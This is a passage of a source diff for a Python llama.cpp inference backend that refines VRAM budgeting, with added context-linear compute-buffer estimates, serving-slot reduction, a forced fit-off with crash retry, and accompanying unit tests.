2.7%). Below 3% one fragmentation spike overflows to CPU. +_CTX_FIT_VRAM_FRACTION = 0.97 # Apple unified memory is shared with the OS, so tighter than VRAM. Matches the # 0.85 MLX uses in mlx_inference.py (_configure_memory_limits); not kept in sync. @@ -2464,9 +2468,10 @@ class LlamaCppBackend: prev = curr # Free-VRAM fraction at which Studio pins the GPU directly instead of - # deferring to ``--fit on``. 5% headroom covers CUDA context + compute - # buffers; 0.90 dropped 91-94% fits to CPU offload (#5106). - _GPU_PIN_VRAM_FRACTION = 0.95 + # deferring to ``--fit on``. 3% headroom: the compute buffer is now modelled in + # the fit, so this only guards fragmentation + multi-GPU per-device CUDA context + # (~2-3%); kept >= 3% as a floor (0.90 dropped 91-94% fits to CPU offload, #5106). + _GPU_PIN_VRAM_FRACTION = 0.97 # Fallback per-device tensor-mode compute buffer (MiB), used only when GGUF # dims are unavailable so _estimate_compute_buffer_bytes (the primary, derived @@ -3022,6 +3027,27 @@ class LlamaCppBackend: _DEFAULT_N_UBATCH = 512 # llama.cpp --ubatch default; Studio does not override it _COMPUTE_BUFFER_SAFETY = 1.15 # upper-bound margin on the compute-buffer estimate + # Soft VRAM the modeled terms omit; charged to the fit budget on tight tiers (#6682). + _CUDA_CONTEXT_RESERVE_BYTES = 320 * 1024 * 1024 # CUDA ctx + cuBLAS workspace (~330 MiB) + _MMPROJ_VRAM_SAFETY = 1.4 # mmproj worst-case buffer vs file size (runtime ~1.3x) + _MTP_DRAFT_COMPUTE_BYTES = 224 * 1024 * 1024 # MTP draft decode graph beyond its KV + # The flash-attn KQ mask + attention scratch grow ~linearly with context; the flat + # _estimate_compute_buffer_bytes term only covers ctx -> 0. The per-token rate + # depends on the KV cache type: a QUANTIZED cache (q8_0/q5/q4/iq4) needs a + # context-sized dequant scratch that scales with n_embd, measured at 0.74-2.02 x + # n_embd across Qwen3.5/3.6 (2B/4B/9B/27B) and Gemma-4 (12B/31B) at q8_0; an + # f16/bf16/f32 cache skips the dequant and pays only the KQ mask, a flat n_ubatch*2 + # bytes per context token regardless of n_embd (measured 1024 B/tok on Qwen-9B and + # Gemma-31B alike). So Qwen3.5-4B at 256k is 1.30 GiB at q8_0 vs 0.31 GiB at f16. + # 2.25 covers the worst quantized case (Qwen3.5-4B, ~2.0x) plus the under-modeled + # flat base; the mask safety covers the f16 base gap. Without this term, tight tiers + # at extreme context over-pin and spill to CPU (the 3% cushion is only ~0.25 GiB on + # an 8 GB card, far below the ~1-2.4 GiB quantized buffer at 256k): e.g. Qwen3.5-4B + # Q4 at 256k needs ~8.5 GiB on a real 8 GB card (weights 2.4 + KV 4.3 + compute 1.3 + # + CUDA ctx) -> CPU spill; with this reserve the auto context caps to ~210k, fits. + _CTX_COMPUTE_BYTES_PER_EMBD = 2.25 # quantized KV, regular attention (dequant scratch) + _CTX_COMPUTE_BYTES_PER_EMBD_MLA = 1.25 # quantized KV, MLA (compressed attn: measured 0.94x) + _CTX_COMPUTE_F16_MASK_SAFETY = 1.5 # f16/bf16/f32 KV: KQ mask only (n_ubatch*2 B/tok) def _estimate_compute_buffer_bytes( self, @@ -3052,6 +3078,85 @@ class LlamaCppBackend: compute = act_scratch + out_buffer * max(0, par - 1) return int(compute * self._COMPUTE_BUFFER_SAFETY) + def _compute_buffer_ctx_bytes( + self, + n_ctx: int, + n_ubatch: Optional[int] = None, + cache_type_kv: Optional[str] = None, + ) -> int: + """Context-linear growth of the per-device compute buffer (bytes), charged + on top of the flat ``_estimate_compute_buffer_bytes``. The flash-attn KQ + mask + attention scratch scale ~linearly with context and with the micro- + batch; the flat term only covers ctx -> 0. A quantized KV cache adds a + context-sized dequant scratch that scales with n_embd; f16/bf16/f32 pays only + the KQ mask, a flat n_ubatch*2 bytes per context token. ``cache_type_kv`` None + -> f16 (llama.cpp's default; an env-set quantized cache is budgeted as f16 on + the KV side, whose over-reservation absorbs the dequant scratch). Returns 0 + when dims are missing or ``n_ctx`` <= 0.""" + n_embd = self._embedding_length or 0 + if n_embd <= 0 or n_ctx <= 0: + return 0 + ub = max(1, int(n_ubatch if n_ubatch else self._DEFAULT_N_UBATCH)) + if _kv_bytes_per_elem(cache_type_kv) < 2.0: + # Quantized cache: the dequant scratch dominates and scales with n_embd. + # MLA (compressed KV) needs far less of it: measured 0.94 x n_embd on + # GLM-5.2 and Kimi-K2.7 vs up to 2.02x on regular attention. + ub_scale = ub / self._DEFAULT_N_UBATCH + rate = ( + self._CTX_COMPUTE_BYTES_PER_EMBD_MLA + if self._key_length_mla + else self._CTX_COMPUTE_BYTES_PER_EMBD + ) + per_tok = rate * n_embd * ub_scale + else: + # f16/bf16/f32: only the KQ mask ([n_kv, n_ubatch] f16), n_embd-independent. + per_tok = ub * 2 * self._CTX_COMPUTE_F16_MASK_SAFETY + return int(per_tok * n_ctx) + + def _slots_that_fit_on_gpu( + self, + n_parallel: int, + effective_ctx: int, + gpus: list[tuple[int, int]], + total_by_idx: Optional[dict[int, int]], + base_footprint_bytes: int, + cache_type_kv: Optional[str], + pin_fraction: float, + per_device_overhead_bytes: int, + min_gpus: int, + n_ubatch: Optional[int] = None, + ) -> tuple[Optional[list[int]], bool, int]: + """Largest serving-slot count in [1, n_parallel) whose fully-on-GPU footprint fits, + so Studio keeps the model on GPU (-ngl -1) instead of --fit on, which offloads layers + to host and collapses decode ~3x (oobabooga #6718). ``base_footprint_bytes`` is the + slot-independent footprint (weights + soft overhead + MTP + context-linear compute, + minus the folded compute buffer); each candidate re-adds the slot-sized compute buffer + and KV, then re-selects GPUs like the explicit-context path. Returns (gpu_indices, + use_fit=False, slots) for the largest fitting count, else (None, True, n_parallel). + Only ever reduces; deterministic and unit-testable with synthetic VRAM maps.""" + for slots in range(n_parallel - 1, 0, -1): + cb = self._estimate_compute_buffer_bytes( + n_ubatch = n_ubatch, n_parallel = slots, per_device_tensor = False + ) + if cb <= 0: + cb = self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024 + total = ( + base_footprint_bytes + + cb + + self._estimate_kv_cache_bytes(effective_ctx, cache_type_kv, n_parallel = slots) + ) + gpu_indices, use_fit = self._select_gpus( + total, + gpus, + usable_fraction = pin_fraction, + total_by_idx = total_by_idx, + per_device_overhead_bytes = per_device_overhead_bytes, + min_gpus = min_gpus, + ) + if not use_fit: + return gpu_indices, False, slots + return None, True, n_parallel + def _fit_context_to_vram( self, requested_ctx: int, @@ -3067,6 +3172,7 @@ class LlamaCppBackend: kv_on_gpu: bool = True, mtp_engaged: bool = False, mtp_overhead_fn: Optional[Callable[[int], int]] = None, + compute_ctx_bytes_fn: Optional[Callable[[int], int]] = None, budget_frac: Optional[float] = None, total_mib: Optional[int] = None, ) -> int: @@ -3118,9 +3224,14 @@ class LlamaCppBackend: def _mtp_at(ctx: int) -> int: return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0 + def _cc_at(ctx: int) -> int: + # Context-linear compute-buffer growth (flash-attn KQ mask + scratch); + # the flat term in model_footprint only covers ctx -> 0. + return compute_ctx_bytes_fn(ctx) if compute_ctx_bytes_fn is not None else 0 + # Already fits? kv = self._estimate_kv_cache_bytes(requested_ctx, cache_type_kv, **kv_kwargs) - if model_footprint + kv + _mtp_at(requested_ctx) <= budget_bytes: + if model_footprint + kv + _mtp_at(requested_ctx) + _cc_at(requested_ctx) <= budget_bytes: return requested_ctx # Weights + compute buffer alone exceed budget -- reducing ctx can't help. @@ -3141,7 +3252,7 @@ class LlamaCppBackend: while lo <= hi: mid = (lo + hi) // 2 kv = self._estimate_kv_cache_bytes(mid, cache_type_kv, **kv_kwargs) - if kv + _mtp_at(mid) <= remaining: + if kv + _mtp_at(mid) + _cc_at(mid) <= remaining: best = mid lo = mid + 1 else: @@ -4288,6 +4399,7 @@ class LlamaCppBackend: max_target_ctx: Optional[int] = None, total_by_idx: Optional[dict[int, int]] = None, n_ubatch: Optional[int] = None, + soft_overhead_bytes: int = 0, ) -> tuple[int, int, list[int], Optional[list[int]]]: """Plan a ``--split-mode tensor`` load. Pure: no model or GPU needed. @@ -4299,9 +4411,11 @@ class LlamaCppBackend: ``(effective_ctx, max_available_ctx, gpu_indices, tensor_split)``. Policy (assumes >= 2 GPUs; the caller drops the toggle below that): - - Cap context to the KV that fits the pooled VRAM after the weights and - one per-device compute-graph buffer (``_estimate_compute_buffer_bytes``, - deterministic from dims; flat fallback when dims are unavailable). + - Cap context to the KV that fits the pooled VRAM after the weights, one + per-device flat compute-graph buffer (``_estimate_compute_buffer_bytes``, + deterministic from dims; flat fallback when dims are unavailable), and the + per-device context-linear compute growth (``_compute_buffer_ctx_bytes``, + replicated on every device in tensor mode, so summed over the split). llama.cpp's ``--fit`` is a no-op in tensor mode, so this is the only cap, honored even for an explicit ``-c``. It is more accurate than the 0.80 whole-pool heuristic, which over-reserves and leaves VRAM unused. @@ -4310,7 +4424,9 @@ class LlamaCppBackend: share fits the smallest GPU; otherwise it is weighted by usable budget so the roomier GPU absorbs more weight and the smallest keeps room for KV. ``total_by_idx`` enables the total-based occupancy cap; ``n_ubatch`` sizes - the compute buffer. + the compute buffer. ``soft_overhead_bytes`` is the CUDA-context / mmproj / + MTP-draft-graph reserve the layer path folds into ``model_size_fit``; + charged against the pooled budget so tensor mode reserves the same overhead. """ # Per-GPU usable budget: free - (1-frac)*total, else (unknown total, e.g. a @@ -4356,16 +4472,40 @@ class LlamaCppBackend: flat_mtp_bytes = max(0, mtp_flat_reserve_bytes) if mtp_engaged and mtp_overhead_fn is None: flat_mtp_bytes = max(flat_mtp_bytes, 2 * 1024**3) + # soft_overhead_bytes is the CUDA-context / mmproj / MTP-draft-graph reserve + # the layer path folds into model_size_fit. Tensor mode has no --fit valve, so + # an unreserved overshoot OOMs at startup rather than offloading; charge it here + # too. Once (pooled), mirroring the layer path -- the per-device CUDA context is + # a known slight under-charge, left for real multi-GPU data. kv_budget_b = ( - (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024 - model_size - flat_mtp_bytes + (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024 + - model_size + - flat_mtp_bytes + - max(0, soft_overhead_bytes) ) def _mtp_at(ctx: int) -> int: return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0 + # Context-linear compute buffer, summed over the split. Tensor mode + # replicates the compute graph on EVERY device (measured: the per-device + # buffer grows a flat n_ubatch*2 bytes/token, ~1024 B/tok on Qwen3.5-9B at + # f16, independent of n_embd), so the growth is n_dev x the per-device + # term. cache_type_kv here is always non-quantized (tensor forces f16), so + # _compute_buffer_ctx_bytes returns the light KQ-mask term, not the heavy + # quantized dequant scratch. The flat reserve_mib above only covers ctx->0; + # without this the fit over-pins and OOMs at high context on a tight pool + # (0.5-4 GiB unreserved at 262k-1M across 2-4 GPUs), the tensor-mode analog + # of the layer-split compute bug. + n_dev = len(gpu_indices) + + def _cc_ctx(ctx: int) -> int: + return n_dev * self._compute_buffer_ctx_bytes(ctx, n_ubatch, cache_type_kv) + def _fit_ctx(ctx: int) -> int: - # Largest context whose KV (+ MTP draft reserve) fits the pooled - # budget. Floors small, but never raises an explicit ctx above asked. + # Largest context whose KV (+ MTP draft reserve + context-linear + # compute) fits the pooled budget. Floors small, but never raises an + # explicit ctx above asked. if self._can_estimate_kv() and ctx > 0: ctx_floor = min(2048, ctx) if kv_budget_b <= 0: @@ -4373,11 +4513,13 @@ class LlamaCppBackend: # falls back to layer split. return ctx_floor if mtp_overhead_fn is not None: - # kv(ctx)+mtp(ctx) is not single-linear, so binary search. + # kv(ctx)+mtp(ctx)+compute(ctx) is not single-linear, so binary search. def _consumer(c: int) -> int: - return self._estimate_kv_cache_bytes( - c, cache_type_kv, n_parallel = n_parallel - ) + _mtp_at(c) + return ( + self._estimate_kv_cache_bytes(c, cache_type_kv, n_parallel = n_parallel) + + _mtp_at(c) + + _cc_ctx(c) + ) if _consumer(ctx) <= kv_budget_b: return ctx @@ -4391,9 +4533,10 @@ class LlamaCppBackend: hi = mid - 1 return best kv_at = self._estimate_kv_cache_bytes(ctx, cache_type_kv, n_parallel = n_parallel) - if kv_at <= kv_budget_b: + total_at = kv_at + _cc_ctx(ctx) # both ~linear through the origin + if total_at <= kv_budget_b: return ctx - return max(ctx_floor, int(ctx * kv_budget_b / kv_at)) + return max(ctx_floor, int(ctx * kv_budget_b / total_at)) # KV size unknown -> can't prove a safe cap; floor. return min(4096, ctx) if ctx > 0 else 4096 @@ -4413,10 +4556,23 @@ class LlamaCppBackend: # The MTP reserve also has to fit the even split (mirror the pooled budget): # byte-accurate per-ctx (0 when no fn) plus the same flat cushion as above. mtp_bytes = (_mtp_at(effective_ctx) if effective_ctx > 0 else 0) + flat_mtp_bytes - even_share_mib = (model_size + kv_bytes + mtp_bytes) / len(gpu_indices) / (1024 * 1024) + # Context-linear compute is replicated per device; charge the whole split so + # the weighted ratio reflects it (mirrors kv_budget_b's per-device reserve). + cc_bytes = _cc_ctx(effective_ctx) if effective_ctx > 0 else 0 + even_share_mib = ( + (model_size + kv_bytes + mtp_bytes + cc_bytes) / len(gpu_indices) / (1024 * 1024) + ) tensor_split: Optional[list[int]] = None if even_share_mib > (min_usable_mib - reserve_mib): - adj = [max(0, int(usable_by_idx[i] - reserve_mib)) for i in gpu_indices] + # Each device also holds its replicated share of the context-linear + # compute (cc_bytes/n_dev) on top of the flat reserve. The even-share + # gate above charges cc_bytes; the split weights must subtract it too, or + # the smaller card is weighted above its real usable budget and OOMs (the + # per-device analog of the layer path's per-GPU overhead in _select_gpus). + cc_per_dev_mib = (cc_bytes // len(gpu_indices)) // (1024 * 1024) if cc_bytes else 0 + adj = [ + max(0, int(usable_by_idx[i] - reserve_mib - cc_per_dev_mib)) for i in gpu_indices + ] if sum(adj) > 0: tensor_split = adj return effective_ctx, max_available_ctx, gpu_indices, tensor_split @@ -5179,6 +5335,20 @@ class LlamaCppBackend: # compute buffer); None -> the 512 default in the estimate. _effective_ubatch = _extra_args_n_ubatch(extra_args) + def _cc_bytes(ctx: int, n_gpus: int = 1) -> int: + # Context-linear compute-buffer growth (flash-attn KQ mask + + # attention scratch); the flat _compute_buffer_pipeline folded + # into model_size_fit only covers ctx -> 0. Charged per + # candidate context so the fit can't over-pin and spill. The + # rate depends on the KV cache type (quantized adds a dequant + # scratch), so pass it through. In a layer split this buffer is + # replicated on EVERY device (measured ~equal per GPU), so scale + # by the device count; a large model at high context otherwise + # under-reserves ~(n-1)x it (e.g. Qwen3.5-397B on 3 GPUs). + return max(1, n_gpus) * self._compute_buffer_ctx_bytes( + ctx, _effective_ubatch, cache_type_kv + ) + # Layer-split compute buffer (one lump; tensor mode reserves it # per device in _plan_tensor_parallel). Context-independent, so # fold it into the model footprint for the branches below. Falls @@ -5193,7 +5363,6 @@ class LlamaCppBackend: _compute_buffer_pipeline = ( self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024 ) - model_size_fit = model_size + _compute_buffer_pipeline # Layer split adds a fixed per-device overhead on every GPU. The # folded buffer covers one device; reserve the extra devices' @@ -5201,9 +5370,6 @@ class LlamaCppBackend: # (k=1 adds nothing). _pipeline_overhead_bytes = self._PIPELINE_PER_DEVICE_OVERHEAD_MIB * 1024 * 1024 - def _subset_model_size(n_gpus: int) -> int: - return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes - # Auto-cap context to fit VRAM and select GPUs. Explicit n_ctx: # honor it, cap only if it fits no combination. Auto (native): # prefer fewer GPUs with reduced context (multi-GPU is slower). @@ -5230,6 +5396,21 @@ class LlamaCppBackend: else 0.0 ) _pin_fraction = self._GPU_PIN_VRAM_FRACTION - _flat_mtp_reserve + + # Charge the soft overhead _CTX_FIT_VRAM_FRACTION under-covers on tight + # tiers, gated so plain dense loads (#5106) only pay the CUDA-ctx base. + # CUDA/cuBLAS context is discrete-GPU only (not Metal); the mmproj and + # MTP draft-graph buffers exist on every backend. + _soft_overhead = self._CUDA_CONTEXT_RESERVE_BYTES if gpus else 0 + if effective_is_vision and mmproj_size > 0: + _soft_overhead += int(mmproj_size * (self._MMPROJ_VRAM_SAFETY - 1.0)) + if _mtp_reserves_gpu: + _soft_overhead += self._MTP_DRAFT_COMPUTE_BYTES + model_size_fit = model_size + _compute_buffer_pipeline + _soft_overhead + + def _subset_model_size(n_gpus: int) -> int: + return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes + # Unified-memory budget (0 off Apple Silicon) for the no-GPU Metal cap below. _apple_budget_mib = self._apple_metal_memory_budget_bytes() // (1024 * 1024) @@ -5334,7 +5515,9 @@ class LlamaCppBackend: _tp_flat_mtp, _mtp_bytes(min(2048, effective_ctx) if effective_ctx > 0 else 2048), ) - _tp_required_mib = (model_size + _tp_mtp_floor) / (1024 * 1024) + _tp_required_mib = (model_size + _tp_mtp_floor + _soft_overhead) / ( + 1024 * 1024 + ) if _tp_weight_budget_mib <= _tp_required_mib: logger.info( "Tensor parallelism requested but the pooled VRAM " @@ -5383,6 +5566,7 @@ class LlamaCppBackend: max_target_ctx = self._context_length or target_ctx, total_by_idx = total_by_idx, n_ubatch = _effective_ubatch, + soft_overhead_bytes = _soft_overhead, ) use_fit = False elif gpus and self._can_estimate_kv() and effective_ctx > 0: @@ -5407,6 +5591,9 @@ class LlamaCppBackend: # budget so the fit and the check below agree. pool_budget = _pool_budget_mib(subset, _cap_fraction) _ms = _subset_model_size(n_gpus) + # Compute buffer is replicated per device in a layer + # split, so scale the context term by the subset size. + _cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n) capped = self._fit_context_to_vram( native_ctx_for_cap, pool_budget, @@ -5415,13 +5602,16 @@ class LlamaCppBackend: n_parallel = n_parallel, mtp_engaged = _mtp_reserves_gpu, mtp_overhead_fn = mtp_overhead_fn, + compute_ctx_bytes_fn = _cc_sub, budget_frac = 1.0, total_mib = None, ) kv = self._estimate_kv_cache_bytes( capped, cache_type_kv, n_parallel = n_parallel ) - footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024) + footprint_mib = ( + _ms + kv + _mtp_bytes(capped) + _cc_sub(capped) + ) / (1024 * 1024) if footprint_mib <= pool_budget: best_cap = max(best_cap, capped) if best_cap > 0: @@ -5442,13 +5632,18 @@ class LlamaCppBackend: effective_ctx, cache_type_kv, n_parallel = n_parallel ) + _mtp_bytes(effective_ctx) + + _cc_bytes(effective_ctx) ) + # The compute buffer is replicated on every device in a + # layer split; fold it into the per-device reserve so a + # multi-GPU pin sizes each card for its own copy. gpu_indices, use_fit = self._select_gpus( requested_total, gpus, usable_fraction = _pin_fraction, total_by_idx = total_by_idx, - per_device_overhead_bytes = _pipeline_overhead_bytes, + per_device_overhead_bytes = _pipeline_overhead_bytes + + _cc_bytes(effective_ctx), min_gpus = _layer_min_gpus, ) # No silent shrink: effective_ctx stays == requested_ctx. @@ -5479,6 +5674,9 @@ class LlamaCppBackend: subset = ranked[:n_gpus] pool_budget = _pool_budget_mib(subset, pin_fraction) _ms = _subset_model_size(n_gpus) + # Compute buffer is replicated per device in a layer + # split, so scale the context term by the subset size. + _cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n) capped = self._fit_context_to_vram( effective_ctx, pool_budget, @@ -5487,13 +5685,16 @@ class LlamaCppBackend: n_parallel = n_parallel, mtp_engaged = _mtp_reserves_gpu, mtp_overhead_fn = mtp_overhead_fn, + compute_ctx_bytes_fn = _cc_sub, budget_frac = 1.0, total_mib = None, ) kv = self._estimate_kv_cache_bytes( capped, cache_type_kv, n_parallel = n_parallel ) - footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024) + footprint_mib = ( + _ms + kv + _mtp_bytes(capped) + _cc_sub(capped) + ) / (1024 * 1024) if footprint_mib <= pool_budget: effective_ctx = capped gpu_indices = sorted(idx for idx, _ in subset) @@ -5516,6 +5717,7 @@ class LlamaCppBackend: _subset_model_size(n_gpus) + kv + _mtp_bytes(effective_ctx) + + _cc_bytes(effective_ctx, n_gpus) ) / (1024 * 1024) if footprint_mib <= _pool_budget_mib(subset, pin_fraction): gpu_indices = sorted(idx for idx, _ in subset) @@ -5570,6 +5772,7 @@ class LlamaCppBackend: n_parallel = n_parallel, mtp_engaged = _mtp_reserves_gpu, mtp_overhead_fn = mtp_overhead_fn, + compute_ctx_bytes_fn = _cc_bytes, budget_frac = 1.0, total_mib = None, ) @@ -5579,6 +5782,7 @@ class LlamaCppBackend: cap, cache_type_kv, n_parallel = n_parallel ) + _mtp_bytes(cap) + + _cc_bytes(cap) ) / (1024 * 1024) # Fit returns the request unchanged when it fits OR weights # exceed budget; only the latter over-commits, so floor to 4096. @@ -5594,6 +5798,48 @@ class LlamaCppBackend: if not explicit_ctx: effective_ctx = max_available_ctx + # Prefer fewer serving slots on GPU over --fit on offload: when the extra + # --parallel slots push the footprint past the pin budget, llama-server + # offloads layers to host and decode collapses ~3x (#6718). Retry the fit + # at fewer slots, keeping the largest count that stays fully on GPU and the + # chosen context. Skips tensor mode / Metal / KV-inestimable paths. + if ( + use_fit + and n_parallel > 1 + and gpus + and self._can_estimate_kv() + and effective_ctx > 0 + ): + # Slot-independent footprint (folded compute buffer swapped out so the + # helper re-adds a slot-sized one per candidate). + _base_footprint = ( + model_size_fit + - _compute_buffer_pipeline + + _mtp_bytes(effective_ctx) + + _cc_bytes(effective_ctx) + ) + _gi_slots, _uf_slots, _slots = self._slots_that_fit_on_gpu( + n_parallel, + effective_ctx, + gpus, + total_by_idx, + _base_footprint, + cache_type_kv, + _pin_fraction, + _pipeline_overhead_bytes + _cc_bytes(effective_ctx), + _layer_min_gpus, + _effective_ubatch, + ) + if not _uf_slots: + logger.info( + "Serving slots reduced %d -> %d to keep the model on GPU " + "(avoid --fit offload) at context %d.", + n_parallel, + _slots, + effective_ctx, + ) + gpu_indices, use_fit, n_parallel = _gi_slots, False, _slots + # MTP reserve at the final context, for the logs below. _mtp_reserve_bytes = _mtp_bytes(effective_ctx) if _mtp_will_engage else 0 if _mtp_will_engage: @@ -5692,8 +5938,10 @@ class LlamaCppBackend: if use_fit: cmd.extend(["--fit", "on"]) elif gpu_indices is not None: - # Fits on selected GPU(s) -- offload all layers - cmd.extend(["-ngl", "-1"]) + # Fits on selected GPU(s) -- force all layers on GPU. --fit off is + # required: without it llama.cpp's default --fit on second-guesses + # and offloads ~1 GB at --parallel 4 even though the model fits. + cmd.extend(["-ngl", "-1", "--fit", "off"]) fully_gpu_offloaded = True server_caps = self.probe_server_capabilities(binary) @@ -6078,6 +6326,33 @@ class LlamaCppBackend: _split_axis_crash = self._is_tensor_split_assert( "\n".join(self._stdout_lines[-50:]) ) + if ( + _spawn_attempt == 0 + and fully_gpu_offloaded + and _startup_crashed + and not _split_axis_crash + ): + # We forced --fit off because Studio's (conservative) VRAM + # math placed the model fully on GPU. A startup crash here + # means that estimate was optimistic, so fall back to --fit + # on and let llama.cpp offload rather than fail the load. + logger.warning( + "llama-server crashed during startup (exit code %s) " + "with forced --fit off; the fit estimate was optimistic, " + "retrying once with --fit on so it can offload. " + "Crash log: %s", + self._process.returncode, + self._llama_log_path, + ) + # Flip Studio's own --fit off (added first, before any + # user extra args) to on; a user's later --fit still wins + # by last-arg. Defensive: if absent, the default is already + # --fit on, so leave it. + _run = list(run_cmd) + if "--fit" in _run: + _run[_run.index("--fit") + 1] = "on" + run_cmd = _run + continue if ( _spawn_attempt == 0 and _fit_retry_allowed diff --git a/studio/backend/tests/test_compute_buffer.py b/studio/backend/tests/test_compute_buffer.py index 42c400383e..5d14c5c5bd 100644 --- a/studio/backend/tests/test_compute_buffer.py +++ b/studio/backend/tests/test_compute_buffer.py @@ -61,11 +61,16 @@ from core.inference.llama_cpp import LlamaCppBackend MIB = 1024 * 1024 -def _backend(vocab = 248320, embd = 5120): +def _backend( + vocab = 248320, + embd = 5120, + mla = None, +): """Backend with just the dims the compute-buffer estimate reads.""" b = LlamaCppBackend.__new__(LlamaCppBackend) b._vocab_size = vocab b._embedding_length = embd + b._key_length_mla = mla # non-None -> MLA (compressed attention) return b @@ -150,3 +155,138 @@ class TestParallel1Default: def test_default_n_parallel(self): est = _backend()._estimate_compute_buffer_bytes() / MIB assert est < 128 + + +class TestContextLinearBuffer: + """``_compute_buffer_ctx_bytes``: the flash-attn KQ-mask + attention scratch + grow ~linearly with context; the flat estimate above only covers ctx -> 0. + Measured slope (q8_0 KV, ubatch 512) was 0.74-2.02 x n_embd; 2 x n_embd is the + worst-case upper bound the term must hold to.""" + + # (model, n_embd, ctx, measured CUDA0 compute buffer MiB at that ctx, q8_0/ub512) + _MEASURED = [ + ("Qwen3.5-2B", 2048, 262144, 796), + ("Qwen3.5-4B", 2560, 262144, 1330), # worst slope, 2.02 x n_embd + ("Qwen3.5-9B", 4096, 262144, 1336), + ("Qwen3.6-27B", 5120, 262144, 1360), + ("Gemma-4-31B", 5376, 262144, 2392), + ] + + def test_zero_by_default(self): + # Omitted/zero ctx -> no term (keeps the flat callers unchanged). + assert _backend()._compute_buffer_ctx_bytes(0) == 0 + + def test_zero_when_embd_missing(self): + assert _backend(embd = None)._compute_buffer_ctx_bytes(262144) == 0 + + def test_grows_linearly_with_context(self): + b = _backend(embd = 4096) + a = b._compute_buffer_ctx_bytes(65536) + d = b._compute_buffer_ctx_bytes(131072) + assert d == pytest.approx(2 * a, rel = 1e-6) + + def test_scales_with_embd(self): + # The quantized (dequant-scratch) rate scales with n_embd; f16 (mask) does not. + small = _backend(embd = 2048)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0") + big = _backend(embd = 5120)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0") + assert big > small + + def test_scales_with_ubatch(self): + b = _backend(embd = 4096) + lo = b._compute_buffer_ctx_bytes(131072, n_ubatch = 256) + hi = b._compute_buffer_ctx_bytes(131072, n_ubatch = 1024) + assert hi > lo + + @pytest.mark.parametrize("name,embd,ctx,measured", _MEASURED) + def test_upper_bounds_measured_compute_growth(self, name, embd, ctx, measured): + # flat term + context-linear term must cover the real (q8_0) buffer at full ctx. + b = _backend(embd = embd) + flat = b._estimate_compute_buffer_bytes(n_parallel = 1) + total = (flat + b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0")) / MIB + assert total >= measured, f"{name}: under-reserved {total:.0f} < {measured}" + + def test_worst_case_rate_covers_two_x_embd(self): + # >= 2 x n_embd bytes per context token at the default micro-batch (the worst + # measured quantized slope, Qwen3.5-4B), so flat + term upper-bounds the buffer. + embd = 4096 + b = _backend(embd = embd) + per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = "q8_0") / 100000 + assert per_tok >= 2 * embd + + +class TestContextBufferKVQuant: + """The context-linear rate depends on the KV cache type: a quantized cache adds a + context-sized dequant scratch (heavy); f16/bf16/f32 only pays the KQ mask (light). + Measured Qwen3.5-4B at 256k: 1.30 GiB (q8_0) vs 0.31 GiB (f16).""" + + def test_quantized_heavier_than_f16(self): + b = _backend(embd = 4096) + q = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0") + f = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16") + assert q > f + + def test_none_cache_type_is_f16(self): + # None -> f16 (llama.cpp's default); the env-quantized case is covered by the + # KV budget's f16 over-reservation, so we take the lighter mask-only rate. + b = _backend(embd = 4096) + assert b._compute_buffer_ctx_bytes( + 131072, cache_type_kv = None + ) == b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16") + + @pytest.mark.parametrize("ct", ["f16", "bf16", "f32"]) + def test_unquantized_uses_mask_only_rate(self, ct): + # f16/bf16/f32: KQ mask only, n_ubatch*2 B/tok, independent of n_embd. + b_small = _backend(embd = 2048) + b_big = _backend(embd = 8192) + per_small = b_small._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000 + per_big = b_big._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000 + assert per_small == per_big # no n_embd scaling on the f16 path + expected = 512 * 2 * LlamaCppBackend._CTX_COMPUTE_F16_MASK_SAFETY # ubatch 512 + assert per_small == pytest.approx(expected, rel = 1e-6) + + @pytest.mark.parametrize("ct", ["q8_0", "q5_1", "q4_0", "iq4_nl"]) + def test_quantized_types_use_heavy_rate(self, ct): + embd = 4096 + b = _backend(embd = embd) + per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000 + assert per_tok == pytest.approx( + LlamaCppBackend._CTX_COMPUTE_BYTES_PER_EMBD * embd, rel = 1e-6 + ) + + def test_f16_covers_measured_mask(self): + # f16 buffer is ~mask only (~n_ubatch*2 B/tok); 0.5 x n_embd must cover the + # measured Qwen3.5-4B f16 slope (~0.4 x n_embd = 0.31 GiB at 256k). + b = _backend(embd = 2560) # Qwen3.5-4B + est = b._compute_buffer_ctx_bytes(262144, cache_type_kv = "f16") / MIB + assert est >= 320 # measured 0.31 GiB growth + + +class TestContextBufferMLA: + """MLA (compressed attention) needs a smaller quantized dequant scratch than + regular attention: measured 0.94 x n_embd on GLM-5.2 and Kimi-K2.7 vs up to + 2.02x on Qwen/Gemma. Charging the regular rate would badly over-reserve a tight + multi-GPU MLA pin (per-device scaling multiplies the error).""" + + def test_mla_lighter_than_regular(self): + reg = _backend(embd = 6144, mla = None)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0") + mla = _backend(embd = 6144, mla = 256)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0") + assert mla < reg + + @pytest.mark.parametrize( + "name,embd,ctx,measured", + [ + ("GLM-5.2", 6144, 754688, 4141), # per-device compute MiB at q8_0 + ("Kimi-K2.7", 7168, 262144, 1690), + ], + ) + def test_mla_rate_covers_measured(self, name, embd, ctx, measured): + b = _backend(embd = embd, mla = 256) + est = 